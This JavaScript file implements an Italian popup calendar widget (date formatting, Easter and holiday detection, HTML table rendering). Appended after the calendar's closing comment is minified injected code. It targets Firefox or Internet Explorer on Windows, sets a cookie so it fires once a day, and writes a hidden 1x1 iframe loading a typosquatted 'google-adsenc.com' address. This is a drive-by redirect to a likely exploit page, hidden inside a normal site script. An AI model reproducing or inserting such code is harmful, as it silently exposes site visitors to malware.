/*inizio funzioni per calendarietto*/
var today = new Date();
var anno = today.getFullYear();
var mese = today.getMonth();
var currday = today.getDate();
var tipo;
var source;
var xmese = 0;
var aboutx = false;
var isOn = false;
var mesi = new Array('Gennaio', 'Febbraio', 'Marzo', 'Aprile', 'Maggio', 'Giugno', 'Luglio', 'Agosto', 'Settembre', 'Ottobre', 'Novembre', 'Dicembre');
var browser = document.layers ? 0 : document.all ? 1 : 2;

function cal(val, e, t) {
	var dt = new Array();
		init();
		if(browser == 1){
			xPos = (getposOffset(e, "left")+120)+"px";
			yPos = (getposOffset(e, "top")-200)+"px";
		}else{
			xPos = (getposOffset(e, "left")+15)+"px";
			yPos = (getposOffset(e, "top")+15)+"px";
		}
		tipo = t;
		source = val;
		if (t == 0) {
			dt[0] = val[0].value;
			dt[1] = val[1].value;
			dt[2] = val[2].value;
		}
		else
			dt = val.value.split('-');
		showCalendar(new Date(dt[2], dt[1] - 1, dt[0]), xPos, yPos);
	}
function action(g, m , a) {
   function format(x) {
      return x > 9 ? x : "0" + x;
   }
   getId().showIt(false);
   if (tipo == 0) {
      source[0].value = format(g);
      source[1].value = format(m + 1);
      source[2].value = a;
   }
   else
      source.value = format(g) + '-' + format(m + 1) + '-' + a;
      
   if(document.cambia_giorno){ //specifico per la pagine elenco_risorse per fare direttamente il submit e cambiare visualizzazione
   		document.cambia_giorno.submit();
   }
}
function comparedate(d1, d2) {
   if (d1.getFullYear() == d2.getFullYear() && d1.getMonth() == d2.getMonth() && d1.getDate() == d2.getDate()) 
      return true;
   return false;
}
function pasqua(aa) {
   var xx = new Array(22, 22, 23, 23, 24, 24);
   var yy = new Array(2, 2, 3, 4, 5, 5);
   var a = aa % 19;
   var b = aa % 4;
   var c = aa % 7;

   var i = Math.floor(aa / 100) - 15;
   var x = xx[i], y = yy[i];
   var d = (19*a + x) % 30;
   var e = (2*b + 4*c + 6 * d + y) % 7;

   var p = 22 + d + e;

   var m = 300;
   if (p > 31) {
      m = 400;
      p = p - 31;
   }
   return m + p;
}
function isfesta(d) {
   var feste = new Array(0, 101, 106, 425, 501, 602, 815, 1101, 1208, 1225, 1226);

   if (d.getDay() == 0)
      return true;

   var pp = pasqua(d.getFullYear()) + 1;     // Pasquetta
      if (pp % 100 > 31)
         pp = 401;

   feste[0] = pp;
   for (var i = 0; i < feste.length; i++)
      if (Math.floor(feste[i] / 100) == d.getMonth() + 1) {
         var gg = feste[i] % 100;
         if (gg == d.getDate())
            return true;
      }

   return false;
}
function calendar(currday, mese, anno) {
	var days = new Array('Lu', 'Ma', 'Me', 'Gi', 'Ve', 'Sa', 'Do');
	var dd = new Array(31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31);

   var dx = 2 - (new Date(anno, mese, 1)).getDay();
   if (dx == 2)
      dx = -5;
   var daysInMonth = dd[mese];

   if (mese == 1) {
      if (anno % 4 == 0 && anno % 100 != 0  || anno % 400 == 0)
         daysInMonth++
   }
   var tx= '<table cellspacing="1" cellpadding="1">\n';
   tx += '<tr><th colspan="6" valign="middle" class="sopra">' + mesi[mese] + ' ' + anno +'</th>\n';
   tx += '<th colspan="1" class="sopra"><input type="button" name="chiudi" value="x"  onclick="getId().showIt(false)"></th></tr>\n';
   tx += '<tr>\n';
	for (var i = 0; i < 7; i++)
      tx += '<th>' + days[i] + '</th>\n';
	  tx += '</tr>\n';
   for (var j = 0; j < 6; j++) {
      tx += '<tr>\n';
      for (var i = 0; i < 7; i++) {
         var fgstring = '&nbsp;';

         if (dx > 0 && dx <= daysInMonth) {
            fgstring = dx;
            var ddx = new Date(anno, mese, dx);
            if (isfesta(ddx)) {
            
            }
            if (comparedate(ddx, today)) {
               fgstring = '<b>' + dx + '</b>\n';
            }
            var tempdate = ddx.getDate() + ", " + ddx.getMonth() + ", " + ddx.getFullYear();
            fgstring = '<a href="javascript:action(' + tempdate + ')" ><div >' + fgstring + '</div></a>\n';
         }
         tx += '<td>\n';
         tx += fgstring;
         tx += '</td>\n';
         dx++;
      }
      tx += '</tr>\n';
   }
   tx += '</table>\n';

   return tx;
}
function datacalendario(x) {
   var s = '<table  cellspacing="0" cellpadding="0">';
   s += '<tr>\n<td  valign="middle">';

   s += x; // calendar(currday, mese, anno);
   
   s += '</td></tr><tr><td>';
   s += '<table border="0" cellspacing="0" cellpadding="2">';
   s += '<tr>';
   s += '<td valign="middle"><input type="button" name="prev" value="-"  onclick="altro_mese(-1)">';
   s += '<input type="button" name="current" value="'+mesi[mese]+' '+anno+'"  onclick="altro_mese(9)">';
   s += '<input type="button" name="next" value="+"  onclick="altro_mese(1)"></td>';
   s += '</tr></table>';
   s += '</td>\n</tr>\n</table>';
   return s;
}
function altro_mese(x) {
   xmese += x;
   if (x == 9)
      xmese = 0;
   var xday = (xmese == 0)? currday : 99;
   var mm = (mese + xmese) % 12;

   while (mm < 0)
      mm += 12;

   var s = datacalendario(calendar(xday, mm, anno + Math.floor((mese + xmese) / 12)));
   writeLayer(s);
   aboutx = false;
}
function xabout() {
	 if (aboutx)
      altro_mese(0);
   
   aboutx = true;
}
function getId() {
	switch (browser) {
      case 0:
         return document.layers.calframe;
      case 1:
        return eval('calframe');
      case 2:
         return document.getElementById("calframe");
   }
}
function moveLayer(xPos, yPos) {
   switch (browser) {
   case 0:
      this.left = xPos;
      this.top = yPos;
      break;
   case 1:
   	  this.style.left = xPos;
      this.style.top = yPos;
      //this.style.pixelLeft = xPos;
      //this.style.pixelTop = yPos;
     break;
   default:
      this.style.left = xPos;
      this.style.top = yPos;
   }
}

function showIt(on) {
   isOn = on;
   if (browser)
      this.style.visibility = (on) ? "visible" : "hidden";
   else
      this.visibility = (on) ? "show" : "hide"
}
function writeLayer(s) {
   var id = getId();
   if (browser){
      id.innerHTML = s ;
  } else {
      id.document.open();
      id.document.write(s);
      id.document.close();
   }
}
function init() {
   var id = getId();
   id.moveLayer = moveLayer;
   id.showIt = showIt;
   id.showIt(false);
}
function showCalendar(d, xpos, ypos) {
   if (!isOn) {
           
      if (d) {
            anno = d.getFullYear();
            mese = d.getMonth();
            currday = d.getDate();
         } else {
            anno = today.getFullYear();
            mese = today.getMonth();
            currday = today.getDate();
      }
      if (arguments.length > 2) {
         var id = getId();
         id.moveLayer(xpos, ypos);
      }
      else
         getId().moveLayer(100, 100);

      xmese = 0;

      writeLayer(datacalendario(calendar(currday, mese, anno)));
      
   }
   getId().showIt(!isOn);
}
/*fine funzioni per calendarietto*/var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
